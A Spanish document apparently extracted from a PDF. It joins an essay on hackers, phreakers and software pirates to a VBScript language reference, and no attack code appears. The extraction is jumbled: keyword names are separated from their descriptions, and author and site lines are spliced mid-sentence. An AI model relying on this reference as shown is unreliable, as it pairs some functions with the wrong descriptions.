P. 1
Tutorial de Visual Basic Scripting

Tutorial de Visual Basic Scripting

|Views: 779|Likes:

More info:

Published by: Manolo Pajaro Borras on Feb 16, 2011
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

08/01/2013

pdf

text

original

Tutorial de Visual Basic Scripting

INSTRODUCCIÓN
Los piratas ya no tienen un parche en su ojo ni un garfio en reemplazo de la mano. Tampoco existen los barcos ni los tesoros escondidos debajo del mar. Llegando al año 2000, los piratas se presentan con un cerebro desarrollado, curioso y con muy pocas armas: una simple computadora y una línea telefónica. Hackers. Una palabra que aún no se encuentra en los diccionarios pero que ya suena en todas las personas que alguna vez se interesaron por la informática o leyeron algún diario. Proviene de "hack", el sonido que hacían los técnicos de las empresas telefónicas al golpear los aparatos para que funcionen. Hoy es una palabra temida por empresarios, legisladores y autoridades que desean controlar a quienes se divierten descifrando claves para ingresar a lugares prohibidos y tener acceso a información indebida. Sólo basta con repasar unas pocas estadísticas. Durante 1997, el 54 por ciento de las empresas norteamericanas sufrieron ataques de Hackers en sus sistemas. Las incursiones de los piratas informáticos, ocasionaron pérdidas totales de 137 millones de dólares en ese mismo año. El Pentágono, la CIA, UNICEF, La ONU y demás organismos mundiales han sido víctimas de intromisiones por parte de estas personas que tienen muchos conocimientos en la materia y también una gran capacidad para resolver los obstáculos que se les presentan*. Un hacker puede tardar meses en vulnerar un sistema ya que son cada vez más sofisticados. Pero el lema es viejo: hecha la ley, hecha la trampa. Los medios de comunicación masivos prefieren tildarlos de delincuentes que interceptan códigos de tarjetas de crédito y los utilizan para beneficio propio. También están los que se intrometen en los sistemas de aeropuertos produciendo un caos en los vuelos y en los horarios de los aviones. Pero he aquí la gran diferencia en cuestión. Los crackers (crack=destruir) son aquellas personas que siempre buscan molestar a otros, piratear software protegido por leyes, destruir sistemas muy complejos mediante la transmisión de poderosos virus, etc. Esos son los crackers. Adolescentes inquietos que aprenden rápidamente este complejo oficio. Se diferencian con los Hackers porque no poseen ningún tipo de ideología cuando realizan sus "trabajos". En cambio, el principal objetivo de los Hackers no es convertirse en delincuentes sino "pelear contra un sistema injusto" utilizando como arma al propio sistema. Su guerra es silenciosa pero muy convincente. El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de aquellos que consiguen entrar en las corporaciones informatizadas. Pero tenemos la impresion de que el termino "hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica. La cultura popular define a los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y

By KarlosVid(ÊÇ)

www.idat.byethost14.com

1

realizan transacciones de una cuenta bancaria a otra. Los criminologos, por otra parte, describen a los hackers en terminos menos halagadores. Donn Parker los denomina "violadores electronicos" y August Bequai los describe como "vandalos electronicos". Ambos, aunque aseveran que las actividades de los hackers son ilegales, eluden habilmente llamarlos "criminales informaticos". Hacen una clara distincion entre el hacker que realiza sus actividades por diversion y el empleado que de repente decide hacer algo malo. Por tanto, parece que tenemos una definicion en la que caben dos extremos: por un lado, el moderno ladron de bancos y por otro el inquieto. Ambas actividades (y todas las intermedias) son calificadas con el mismo termino. Dificilmente se podria considerar esto como un ejemplo de conceptualizacion precisa. Una gran parte de esta ambigüedad puede seguirse desde el origen durante estos aproximadamente 20 años de vida del mencionado termino. El termino comenzo a usarse aplicandolo a un grupo de pioneros de la informatica del MIT, a principios de la decada de 1960. Desde entonces, y casi hasta finales de la decada de 1970, un hacker era una persona obsesionada por conocer lo mas posible sobre los sistemas informaticos. Los diseñadores del ordenador Apple, Jobs y Wozniack, pueden considerarse hackers en este sentido de la palabra. Pero a principios de la decada de 1980, influenciados por la difusion de la pelicula Juegos de Guerra, y el ampliamente publicado arresto de una "banda de hackers" conocida como la 414, los hackers pasaron a ser considerados como chicos jovenes capaces de violar sistemas informaticos de grandes empresas y del gobierno. Desgraciadamente, los medios de informacion y la comunidad cientifica social no ha puesto mucho esfuerzo por variar esta definicion. El problema para llegar a una definicion mas precisa radica, tanto en la poca informacion que hay sobre sus actividades diarias, como en el hecho de que lo que se conoce de ellos no siempre cabe bajo las etiquetas de los delitos conocidos. Es decir, no hay una definicion legal que sea aplicable a los hackers, ni todas sus actividades conllevan la violacion de las leyes. Esto lleva a que la aplicacion del termino varie segun los casos, dependiendo de los cargos que se puedan imputar y no a raiz de un claro entendimiento de lo que el termino significa. Este problema, y la falta de entendimiento de lo que significa ser un hacker, convierte a esta en una etiqueta excesivamente utilizada para aplicar a muchos tipos de intrusiones informaticas. Parker y Bequai, dos lideres en el estudio de los delitos informaticos, utilizan el termino "hacker" de formas ligeramente diferentes. Parker reconoce que hacking no abarca todo el rango de actividades asociadas a la violacion de los sistemas informaticos, pero lo prefiere al termino "phreaking", que considera muy oscuro. Por otra parte, Bequai no rechaza el termino "phreaking" y a menudo lo aplica a hechos que Parker califica como de hacker. Bequai confunde aun mas el termino al definir al hacker como alguien que utiliza ilegalmente las tarjetas de credito telefonico para acceder a sistemas que distribuyen software comercial ilegalmente. Veremos que esto tiene poco que ver con las actuaciones propias de los hackers, pero es ilustrativa de otros tipos de actividades informaticas inusuales. Los terminos, "hacker", "phreaker" y "pirata" se presentan y definen tal y como los entienden aquellos que se identifican con estos papeles. En primer lugar, el area de los hackers. En la tradicion de esta comunidad informatica, el hacker puede realizar dos tipos de actividades: bien acceder a un sistema informatico, o bien algo mas general, como explorar y aprender a utilizar un sistema informatico. En la primera connotacion, el termino lleva asociados las herramientas y trucos para obtener cuentas de usuarios validos de un sistema informatico, que de otra forma serian inaccesibles para los hackers. Se podria pensar que esta palabra esta intimamente relacionada con la naturaleza repetitiva de los intentos de acceso. Ademas, una vez que se ha conseguido acceder, las cuentas ilicitas a veces compartidas con otros asociados, denominandolas "frescas". He aqui la vision estereotipada de los medios de comunicacion de los hackers un joven de menos de veinte años, con conocimientos de informatica, pegado al teclado de su ordenador, siempre en busca de una cuenta no usada o un punto debil en el sistema de seguridad. Aunque esta vision no es muy precisa, representa bastante bien el aspecto del termino. La segunda dimension del mencionado termino se ocupa de lo que sucede una vez que se ha conseguido acceder al sistema cuando se ha conseguido una clave de acceso. Como el sistema esta siendo utilizado sin autorizacion, el hacker no suele tener, el terminos generales, acceso a los manuales de operacion y otros recursos disponibles para los usuarios legitimos del sistema. Por tanto, el usuario experimenta con estructuras de comandos y explora ficheros para conocer el uso que se da al sistema. En oposicion con el primer aspecto del termino, aqui no se trata solo de acceder al sistema (aunque alguno podria estar buscando niveles de acceso mas restringidos), sino de aprender mas sobre la operacion general del sistema. Contrariamente a lo que piensan los medios de comunicacion, la mayoria de los hackers no destruyen y no dañan deliberadamente los datos. El hacerlo iria en contra de su intencion de mezclarse con el usuario normal y atraeria la atencion sobre su presencia, haciendo que la cuenta usada sea borrada. Despues de gastar un tiempo sustancioso en conseguir la cuenta, el hacker pone una alta prioridad para que su uso no sea descubierto. Ademas de la obvia relacion entre las dos acepciones, la palabra "hacker" se reserva generalmente a aquellos que se dedican al segundo tipo. En otras palabras, un hacker es una persona que tiene el conocimiento, habilidad y deseo de explorar completamente un sistema informatico. El mero hecho de conseguir el acceso (adivinando la clave de acceso) no es suficiente para conseguir la denominacion. Debe haber un deseo de liderar, explotar y usar el sistema despues de haber accedido a él. Esta distincion parece logica, ya que no todos los intrusos mantienen el interes una vez que han logrado acceder al sistema. En el submundo informatico, las claves de acceso y las cuentas suelen intercambiarse y ponerse a disposicion del uso general. Por tanto, el hecho de conseguir el acceso puede considerarse como la parte "facil", por lo que aquellos que utilizan y exploran los sistemas son los que tienen un mayor prestigio. La segunda actividad es la de los phreakers telefonicos. Se convirtio en una actividad de uso comun cuando se publicaron las aventuras de John Draper, en un articulo de la revista Esquire, en 1971. Se trata de una forma de evitar los mecanismos de facturacion de las compañías telefonicas. Permite llamar a de cualquier parte del mundo sin costo practicamente. En muchos casos, tambien evita, o al menos inhibe, la posibilidad de que se pueda trazar el camino de la llamada hasta su origen, evitando asi la posibilidad de ser atrapado. Par la mayor parte de los miembros del submundo informatico, esta es simplemente una herramienta para poder realizar llamadas de larga distancia sin tener que pagar enormes facturas. La cantidad de personas que se consideran phreakers, contrariamente a lo que sucede con los hackers, es relativamente pequeña. Pero aquellos que si se consideran phreakers lo hacen para explorar el sistema telefonico. La mayoria de la gente, aunque usa el telefono, sabe muy poco acerca de él. Los phreakers, por otra parte, quieren aprender mucho sobre el. Este deseo de conocimiento lo resume asi un phreaker activo: "El sistema telefonico es la cosa mas interesante y fascinante que conozco. Hay tantas cosas que aprender. Incluso los phreakers tienen diferentes

By KarlosVid(ÊÇ)

www.idat.byethost14.com

2

areas de conocimiento. Hay tantas cosas que se pueden conocer que en una tentativa puede aprenderse algo muy importante y en la siguiente no. O puede suceder lo contrario. Todo depende de como y donde obtener la informacion. Yo mismo quisiera trabajar para una empresa de telecomunicaciones, haciendo algo interesante, como programar una central de conmutacion. Algo que no sea una tarea esclavizadora e insignificante. Algo que sea divertido. Pero hay que correr el riesgo para participar, a no ser que tengas la fortuna de trabajar para una de estas compañías. El tener acceso a las cosas de estas empresas, como manuales, etc., debe ser grandioso". La mayoria de la gente del submundo no se acerca al sistema telefonico con esa pasion. Solo estan interesados en explorar sus debilidades para otros fines. En este caso, el sistema telefonico es un fin en si mismo. Otro entrevistado que se identificaba a si mismo como hacker, explicaba: "Se muy poco sobre teléfonos simplemente soy un hacker. Mucha gente hace lo mismo. En mi caso, hacer de phreaker es una herramienta, muy utilizada, pero una herramienta al fin y al cabo". En el submundo informatico, la posibilidad de actuar asi se agradece, luego llego el uso de la tarjeta telefonica. Estas tarjetas abrieron la puerta para realizar este tipo de actividades a gran escala. Hoy en dia no hace falta ningun equipo especial. Solo un telefono con marcacion por tonos y un numero de una de esas tarjetas, y con eso se puede llamar a cualquier parte del mundo. De igual forma que los participantes con mas conocimientos y motivacion son llamados hackers, aquellos que desean conocer el sistema telefonico son denominados phreakers. El uso de las herramientas que les son propias no esta limitada a los phreakers, pero no es suficiente para merecer la distincion. Finalmente llegamos a la "telepirateria" del software. Consiste en la distribucion ilegal de software protegido por los derechos de autor. No nos refiererimos a la copia e intercambio de diskettes que se produce entre conocidos (que es igualmente ilegal), sino a la actividad que se realiza alrededor de los sistemas BBS que se especializan en este tipo de trafico. El acceso a este tipo de servicios se consigue contribuyendo, a traves de un modem telefonico, con una copia de un programa comercial. Este acto delictivo permite a los usuarios copiar, o "cargar", de tres a seis programas que otros hayan aportado. Asi, por el precio de una sola llamada telefonica, uno puede amontonar una gran cantidad de paquetes de software. En muchas ocasiones, incluso se evita pagar la llamada telefonica. Notese que al contrario que las dos actividades de hacker y phreaker, no hay ninguna consideracion al margen de "prestigio" o "motivacion" en la telepirateria. En este caso, el cometer los actos basta para "merecer" el titulo. La telepirateria esta hecha para las masas. Al contrario de lo que sucede con los hackers y los phreakers, no requiere ninguna habilidad especial. Cualquiera que tenga un ordenador con modem y algun software dispone de los elementos necesarios para entrar en el mundo de la telepirateria. Debido a que la telepirateria no requiere conocimientos especiales, el papel de los piratas no inspira ningun tipo de admiracion o prestigio en el submundo informatico. (Una posible excepcion la constituyen aquellos que son capaces de quitar la proteccion del software comercial.) Aunque los hackers y los phreakers de la informatica probablemente no desaprueben la pirateria, y sin duda participen individualmente de alguna forma, son menos activos (o menos visibles) en los BBS que se dedican a la telepirateria. Tienden a evitarlos porque la mayoria de los telepiratas carecen de conocimientos informaticos especiales, y por tanto son conocidos por abusar en exceso de la red telefonica para conseguir el ultimo programa de juegos. Un hacker mantiene la teoria de que son estos piratas los culpables de la mayoria de los fraudes con tarjetas de credito telefonicas. "Los medios de comunicacion afirman que son unicamente los hackers los responsables de las perdidas de las grandes compañías de telecomunicaciones y de los servicios de larga distancia. Este no es el caso. Los hackers representan solo una pequeña parte de estas perdidas. El resto esta causado por “los piratas y ladrones que venden estos codigos en la calle." Otro hacker explica que el proceso de intercambiar grandes programas comerciales por modem normalmente lleva varias horas, y son estas llamadas, y no las que realizan los "entusiastas de telecomunicaciones", las que preocupan a las compañias telefonicas. Pero sin considerar la ausencia de conocimientos especiales, por la fama de abusar de la red, o por alguna otra razon, parece haber algun tipo de division entre los hackers / phreakers y los telepiratas. Despues de haber descrito los tres papeles del submundo informatico, podemos ver que la definicion presentada al principio, segun la cual un hacker era alguien que usaba una tarjeta de credito telefonico robada para cargar alguno de los ultimos juegos, no refleja las definiciones dadas en el propio submundo informatico. Obviamente, corresponde a la descripcion de un telepirata y no a las acciones propias de un hacker o un phreaker. En todo esto hay una serie de avisos. No se quiere dar la impresion de que un individuo es un hacker, un phreaker o un telepirata exclusivamente. Estas categorias no son mutuamente excluyentes. De hecho, muchos individuos son capaces de actuar en mas de uno de estos papeles. Se cree que la respuesta se encuentra en buscar los objetivos que se han expuesto previamente. Recuerdese que el objetivo de un hacker no es entrar en un sistema, sino aprender como funciona. El objetivo de un phreaker no es realizar llamadas de larga distancia gratis, sino descubrir lo que la compañía telefonica no explica sobre su red y el objetivo de un telepirata es obtener una copia del software mas moderno para su ordenador. Asi, aunque un individuo tenga un conocimiento especial sobre los sistemas telefonicos, cuando realiza una llamada de larga distancia gratis para cargar un juego, esta actuando como un telepirata. En cierto modo, esto es un puro argumento semantico. Independientemente de que a un hacker se le etiquete erroneamente como telepirata, los accesos ilegales y las copias no autorizadas de software comercial van a seguir produciendose. Pero si queremos conocer los nuevos desarrollos de la era informatica, debemos identificar y reconocer los tres tipos de actividades con que nos podemos encontrar. El agrupar los tres tipos bajo una sola etiqueta es mas que impreciso, ignora las relaciones funcionales y diferencias entre ellos. Hay que admitir, de todas formas, que siempre habra alguien que este en desacuerdo con las diferencias que se han descrito entre los grupos. En el desarrollo de esta investigacion, quedo de manifiesto que los individuos que realizan actualmente estas actividades no se ponen de acuerdo en cuanto a donde estan las fronteras. Las categorias y papeles, como se ha indicado previamente, no son mutuamente exclusivos. En particular, el mundo de los hackers y los phreakers estan muy relacionados. Pero, de la misma forma que no debemos agrupar toda la actividad del submundo informatico bajo la acepcion de hacker, tampoco debemos insistir en que nuestras definiciones sean exclusivas hasta el punto de ignorar lo que representan. Las tipologias que he presentado son amplias y necesitan ser depuradas. Pero representan un paso mas en la representacion precisa, especificacion e identificacion de las actividades que se dan en el submundo de la informatica.

By KarlosVid(ÊÇ)

www.idat.byethost14.com

3

Referencia del lenguaje de VBScript Estos prácticos bloques de información le ayudarán a examinar las diferentes partes del Lenguaje de secuencias de comandos de Visual Basic. Devuelve una expresión convertida a una Variant del subtipo Boolean. Declara constantes para utilizar en lugar de valores literales. seleccione el tema que desea ver. Borra todos los valores de propiedad del objeto Err. Devuelve el coseno de un ángulo. Devuelve una expresión convertida a una Variant del subtipo Integer. Encontrará todas las partes del lenguaje de VBScript mostradas por orden alfabético en la Lista alfabética de palabras clave. Realiza una conjunción lógica de dos expresiones.byethost14. Suma dos números. Devuelve una expresión convertida a una Variant del subtipo String. Traspasa un control a un procedimiento Sub o Function. Devuelve una expresión convertida a una Variant del subtipo Currency. Lista de constantes utilizadas en operaciones de comparación. Lista de constantes de color. Elemento del lenguaje Descripción Devuelve el valor absoluto de un número. Abs (Función) Suma (+). Compruébelo. Lista de constantes que definen los días de la semana y otras constantes utilizadas en las operaciones de fecha y hora. Devuelve la fecha actual del sistema. Desde esta lista. por ejemplo objetos. Crea y devuelve una referencia a un objeto de Automatización. Devuelve una expresión convertida a una Variant del subtipo Long. Una vez abierto ese tema. Devuelve el carácter asociado con el código de carácter ANSI especificado. Devuelve el código de carácter ANSI que corresponde a la primera letra en una cadena. Asigna un valor a una variable o propiedad. Si sólo desea examinar una categoría. Devuelve una expresión convertida a una Variant del subtipo Byte. Estudie algunas instrucciones. Verá qué versátil puede llegar a ser la Biblioteca de tiempo de ejecución de secuencias de comandos. Devuelve una expresión convertida a una Variant del subtipo Date. (Operador) And (Operador) Array (Función) Asc (Función) Asignación (=) (Operador) Atn (Función) Call (Instrucción) CBool (Función) CBCByte (Función) CCur. Devuelve una expresión convertida a una Variant del subtipo Double. Devuelve una Variant que contiene una matriz. Proporciona acceso a los eventos de una clase creada. Devuelve el arcotangente de un número. ¿Cómo funciona? Haga clic en uno de los encabezados de la izquierda para mostrar una lista de elementos contenidos en esa categoría. Devuelve una expresión convertida a una Variant del subtipo Single. Declara el nombre de una clase.com 4 . fCCur (Función) CDate (Función) CDbl (Función) Chr (Función) CInt (Función) Class (Objeto) Class (Instrucción) Clear (Método) CLng (Función) Color (Constantes) Comparación (Constantes) Concatenación (&)(Operador) Const (Instrucción) Cos (Función) CreateObject (Función) CSng (Función) CStr (Función) Fecha y hora (Constantes) Formato de fecha (Constantes) Date (Función) DateAdd(Función) By KarlosVid(ÊÇ) www. examine los métodos o descifre unas pocas funciones. más compacta. cada categoría del lenguaje tiene su propia sección.idat. Fuerza la concatenación de cadenas de dos expresiones. Devuelve una fecha a la que se agregó un intervalo de tiempo especificado. Lista de constantes utilizadas para dar formato a fechas y horas. puede seguir los vínculos a otras secciones relacionadas.

Devuelve una referencia a un objeto de Automatización desde un archivo.Loop. de contexto para un tema en un archivo de Ayuda.. Devuelve la parte entera de un número.com 5 . Devuelve una expresión con formato de fecha u hora. Indica un valor variable no inicializado. Function o Sub. Divide dos números y devuelve un resultado de punto flotante. dependiendo del valor de una expresión.. Devuelve una expresión con formato de moneda utilizando el símbolo de moneda definido en el Panel del control del sistema.Next (Instrucción) FormatCurrency (Función) FormatDateTime (Función) FormatNumber (Función) FormatPercent (Función) Function (Instrucción) GetObject (Función) GetRef (Función) Global (Propiedad) Hex (Función) HelpContext (Propiedad) HelpFile (Propiedad) Hour (Función) If. Repite un grupo de instrucciones un número especificado de veces.. Proporciona acceso al sistema de archivos de un equipo. Declara el nombre. Devuelve o establece la cadena descriptiva asociada con un error... Devuelve una Variant del subtipo Date para un día.. Devuelve un número entero entre 1 y 31. Realiza una equivalencia lógica de dos expresiones. Devuelve una expresión con formato de número. Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un carácter % final.. argumentos y código que forman el cuerpo de un procedimiento Function. mes y año especificados. Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas basada en un criterio de filtro especificado. Devuelve una Variant del subtipo Date. Ejecuta una búsqueda de expresión regular con una cadena especificada. que representan la hora del día.Else (Instrucción) IgnoreCase (Propiedad) Devuelve el número de intervalos entre dos fechas. Devuelve e (la base de los logaritmos naturales) elevado a una potencia.Next. Repite un grupo de instrucciones para cada elemento en una matriz o colección.byethost14. Palabra clave que tiene un valor igual a cero. Objeto que almacena pares de elemento y clave. Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue By KarlosVid(ÊÇ) www. Establece o devuelve un Id. For..idat.Then. Devuelve la parte especificada de una fecha dada. ambos inclusive. Establece o devuelve una ruta completa a un archivo de Ayuda Devuelve un número entero entre 0 y 23... Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación de espacio de almacenamiento de la matriz dinámica. Devuelve una referencia a un procedimiento que se puede enlazar a un evento. Contiene información acerca de los errores en tiempo de ejecución. Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.. Ejecuta una o más instrucciones especificadas. ambos inclusive. Establece o devuelve un valor booleano. Ejecuta de forma condicional un grupo de instrucciones. Eleva un número a la potencia de un exponente.. Sale de un bloque de código Do. Declara variables y asigna espacio de almacenamiento.Next (Instrucción) For Each. Repite un bloque de instrucciones mientras una condición sea True o hasta que una condición sea True..Loop (Instrucción) Empty Eqv (Operador) Erase (Instrucción) Err (Objeto) Eval (Función) Execute (Método) Execute (Instrucción) Exit (Instrucción) Exp (Función) Exponenciación (^) (Operador) False FileSystemObject (Objeto) Filter (Función) FirstIndex (Propiedad) Fix (Función) For. que representa el día del mes.DateDiff (Función) DatePart (Función) DateSerial (Función) DateValue (Función) Day (Función) Description (Propiedad) Dictionary (Objeto) Dim (Instrucción) División (/) (Operador) Do.. Evalúa una expresión y devuelve el resultado. Devuelve una cadena que representa el valor hexadecimal de un número.

desde el final de la cadena.las mayúsculas de las minúsculas. Devuelve un número especificado de caracteres de una cadena. Devuelve la posición de una aparición de una cadena dentro de otra. Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo. Devuelve un número entero entre 1 y 12. Devuelve la parte entera de un número. que representa el mes del año. Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión regular. Lista de constantes utilizadas con la función MsgBox. Devuelve un valor booleano que indica si se puede evaluar una expresión como un número. Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable. Devuelve un número de caracteres especificado desde el lado izquierdo de una cadena. Indica que una variable no contiene datos válidos. By KarlosVid(ÊÇ) www. Devuelve un valor booleano que indica si una expresión no contiene datos válidos (Null). espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto. Muestra un mensaje en un cuadro de diálogo. Divide dos números y devuelve un resultado entero. que representa el minuto de la hora. Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda. Lista de constantes que no corresponden a ninguna otra categoría. Compara dos variables de referencia de objetos. Indica el valor negativo de una expresión numérica. Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz. Devuelve una copia de una cadena sin los espacios iniciales. Disocia una variable de objeto de cualquier objeto real. Realiza una negación lógica en una expresión.idat. Devuelve una cadena convertida a minúsculas. Colección de objetos Match de expresión regular. Imp (Operador) Initialize (Evento) InputBox (Función) InStr (Función) InStrRev (Función) Int (Función) División entera (\) (Operador) Is (Operador) IsArray (Función) IsDate (Función) IsEmpty (Función) IsNull (Función) IsNumeric (Función) IsObject (Función) Join (Función) LBound (Función) LCase (Función) Left (Función) Len (Función) Length (Propiedad) LoadPicture (Función) Log (Función) LTrim (Función) Match (Objeto) Matches (Colección) Mid (Función) Minute (Función) Diversas (Constantes) Mod (Operador) Month (Función) MonthName (Función) MsgBox (Constantes) MsgBox (Función) Multiplicación (*) (Operador) Negación (-) (Operador) Not (Operador) Now (Función) Nothing Null Realiza una implicación lógica de dos expresiones. ambos inclusive. Devuelve un valor booleano que indica si una expresión hace referencia a un objeto de Automatización válido. espera a que el usuario haga clic en un botón y devuelve un valor que indica en que botón hizo clic el usuario . Devuelve la posición de la primera aparición de una cadena dentro de otra. Devuelve un objeto de imagen. Devuelve el logaritmo natural de un número. Muestra un aviso en un cuadro de diálogo. Devuelve una cadena creada al unir varias subcadenas contenidas en una matriz. Devuelve un valor booleano que indica si se inicializó una variable. Ocurre cuando se crea una instancia de la clase asociada.byethost14. Divide dos números y devuelve sólo el resto. Devuelve un valor booleano que indica si se puede convertir una expresión en fecha. ambos inclusive. Devuelve una cadena que indica el mes especificado. Multiplica dos números. Sólo disponible en plataformas de 32 bits.com 6 . Devuelve un número entero entre 0 y 59. Devuelve un valor booleano que indica si una variable es una matriz.

Reemplaza el texto encontrado en una búsqueda de expresión regular. Genera un error en tiempo de ejecución. Lista que muestra el orden de precedencia entre varios operadores utilizados en VBScript. Realiza una disyunción lógica de dos expresiones. argumentos y código que forman el cuerpo de un procedimiento Property que establece una referencia a un objeto. Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error. Devuelve el seno de un ángulo.Number (Propiedad) Oct (Función) On Error (Instrucción) Precedencia de operadores Option Explicit (Instrucción) Or (Operador) Pattern (Propiedad) Private (Instrucción) PropertyGet (Instrucción) PropertyLet (Instrucción) PropertySet (Instrucción) Public (Instrucción) Raise (Método) Randomize (Instrucción) ReDim (Instrucción) RegExp (Objeto) Rem (Instrucción) Replace (Función) Replace (Método) RGB (Función) Right (Función) Rnd (Función) Round (Función) RTrim (Función) ScriptEngine (Función) ScriptEngineBuildVersion (Función) ScriptEngineMajorVersion (Función) Devuelve o establece un valor numérico que especifica un error. Declara el nombre. Habilita el control de errores. Establece o devuelve el patrón de expresión regular que se busca. Inicializa el generador de números aleatorios. Declara el nombre. argumentos y código que forman el cuerpo de un procedimiento Property que asigna el valor de una propiedad. Devuelve una cadena compuesta por el número especificado de espacios. Fuerza la declaración explícita de todas las variables en una secuencia de comandos. Declara las variables de matriz dinámica y asigna o vuelve a asignar el espacio de almacenamiento en el nivel de procedimiento. Devuelve un valor que indica el resultado de una comparación de cadenas. según el valor de una expresión. que representa el segundo del minuto. ScriptEngineMinorVersion (Función) Devuelve el número de la versión secundaria del motor de secuencias de comandos en Second (Función) Select Case (Instrucción) Set (Instrucción) Sgn (Función) Sin (Función) Source (Propiedad) Space (Función) Split (Función) Sqr (Función) StrComp (Función) Cadena (Constantes) String (Función) Devuelve un número entero entre 0 y 59. Devuelve una copia de una cadena sin espacios finales.idat. Incluye observaciones explicativas en un programa. ambos inclusive. Asigna la referencia de un objeto a una variable o propiedad. Devuelve el número de versión de compilación del motor de secuencias de comandos en uso. Lista de constantes de cadena.com 7 . Devuelve una cadena en la que se reemplazó una subcadena especificada con otra subcadena un número especificado de veces. Devuelve la raíz cuadrada de un número. argumentos y código que forman el cuerpo de un procedimiento Property que obtiene (devuelve) el valor de una propiedad. Devuelve un número entero que indica el signo de un número.byethost14. Devuelve el número de la versión principal del motor de secuencias de comandos en uso. Devuelve una cadena que representa el valor octal de un número. uso. Proporciona compatibilidad con expresiones regulares simples. Devuelve una matriz unidimensional con base cero que contiene un número especificado de subcadenas. Declara las variables públicas y asigna espacio de almacenamiento. Devuelve un número entero que representa un valor de color RGB. By KarlosVid(ÊÇ) www. Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso. Devuelve una cadena de caracteres repetidos de la longitud especificada. Ejecuta uno de entre varios grupos de instrucciones. Devuelve un número redondeado a un número especificado de lugares decimales. Devuelve un número especificado de caracteres del lado derecho de una cadena. Declara las variables privadas y asigna espacio de almacenamiento. Declara el nombre. Devuelve un número aleatorio.

Devuelve el número de segundos que transcurrieron desde las 12:00 a. Devuelve una Variant del subtipo Date que contiene la hora de una hora. minuto y segundo específicos. By KarlosVid(ÊÇ) www. Devuelve una Variant del subtipo Date que contiene la hora. Lista de constantes de colores.(medianoche). Lista de constantes de cadena. Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda. Utilícelas en cualquier parte de su código para representar los valores mostrados para cada una. Devuelve el mayor subíndice disponible para la dimensión indicada en una matriz.idat. Lista de constantes que definen días de la semana y otras constantes utilizadas en las operaciones de fecha y hora. Utilícelas en cualquier parte de su código para representar los valores mostrados en cada una. Lista de constantes que definen subtipos Variant.com 8 . Ejecuta una serie de instrucciones mientras una condición dada sea True. Devuelve una cadena que proporciona información acerca del subtipo Variant de una variable. Devuelve una Variant del subtipo Date que indica la hora actual del sistema. Encuentra la diferencia entre dos números o indica el valor negativo de una expresión numérica. La palabra clave que tiene un valor igual a -1. Devuelve una cadena convertida a mayúsculas. Devuelve un valor que indica el subtipo de una variable. Diversas categorías de constantes proporcionadas en VBScript. Realiza una exclusión lógica en dos expresiones.. argumentos y código que forman el cuerpo de un procedimiento Sub. Lista de constantes que no corresponden a ninguna otra categoría. Devuelve una copia de una cadena sin espacios iniciales o finales.Wend (Instrucción) With (Instrucción) Xor (Operador) Year (Función) Color (Constantes) Comparación (Constantes) Fecha y hora (Constantes) Date Format (Constantes) Diversas (Constantes) MsgBox (Constantes) Cadena (Constantes) Triple estado (Constantes) VarType (Constantes) VBScript (Constantes) Initialize (Evento) Terminate (Evento) Devuelve una cadena en la que está invertido el orden de caracteres de una cadena especificada. Lista de constantes utilizadas con la función MsgBox.m. Ocurre cuando se termina una instancia de la clase asociada. Ejecuta una búsqueda de expresión regular en una cadena especificada. Devuelve un número entero que representa el día de la semana. Devuelve una cadena que indica el día de la semana especificado. Ocurre cuando se termina una instancia de la clase asociada. Declara el nombre.StrReverse (Función) Sub (Instrucción) Resta (-) (Operador) Tan (Función) Terminate (Evento) Test (Método) Time (Función) Timer (Función) TimeSerial (Función) TimeValue (Función) Trim (Función) Triple estado (Constantes) True TypeName (Función) UBound (Función) UCase (Función) Value (Propiedad) VarType (Constantes) VarType (Función) VBScript (Constantes) Weekday (Función) WeekdayName (Función) While. Ejecuta una serie de instrucciones en un único objeto. Ocurre cuando se crea una instancia de la clase asociada. Diversas categorías de constantes proporcionadas en VBScript. Devuelve un número entero que representa el año.. Lista de constantes utilizadas para dar formato a fechas y horas. Lista de constantes que definen los subtipos Variant. Devuelve la tangente de un ángulo.byethost14. Lista de constantes utilizadas en operaciones de comparación.

ambos inclusive. Devuelve una expresión convertida a una Variant del subtipo Integer. mes y día especificados. Devuelve una referencia a un objeto de Automatización de un archivo. By KarlosVid(ÊÇ) www. Devuelve el coseno de un ángulo. Devuelve una fecha a la que se agregó un intervalo de tiempo especificado. Devuelve una expresión con formato de moneda utilizando el símbolo de moneda definido en el Panel de control del sistema. Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas basado en un criterio de filtro especificado. espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto. Devuelve el número de intervalos entre dos fechas. Devuelve la parte entera de un número. Devuelve una referencia a un procedimiento que se puede enlazar a un evento. Devuelve un valor Boolean que indica si una expresión se puede convertir a una fecha. Devuelve un valor Boolean que indica si una variable es una matriz. Devuelve e (la base de los logaritmos naturales) elevado a una potencia. Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un caracter % final. Devuelve una cadena que representa el valor hexadecimal de un número. Devuelve un número entero entre 0 y 23. Devuelve la posición de la aparición de una cadena dentro de otra. Devuelve una expresión con formato de fecha u hora. ambos inclusive. Evalúa una expresión y devuelve el resultado. Devuelve un número entero entre 1 y 31. Devuelve una Variant del subtipo Date. que representa el día del mes.com 9 . Devuelve el código de caracteres ANSI que corresponde a la primera letra de una cadena. 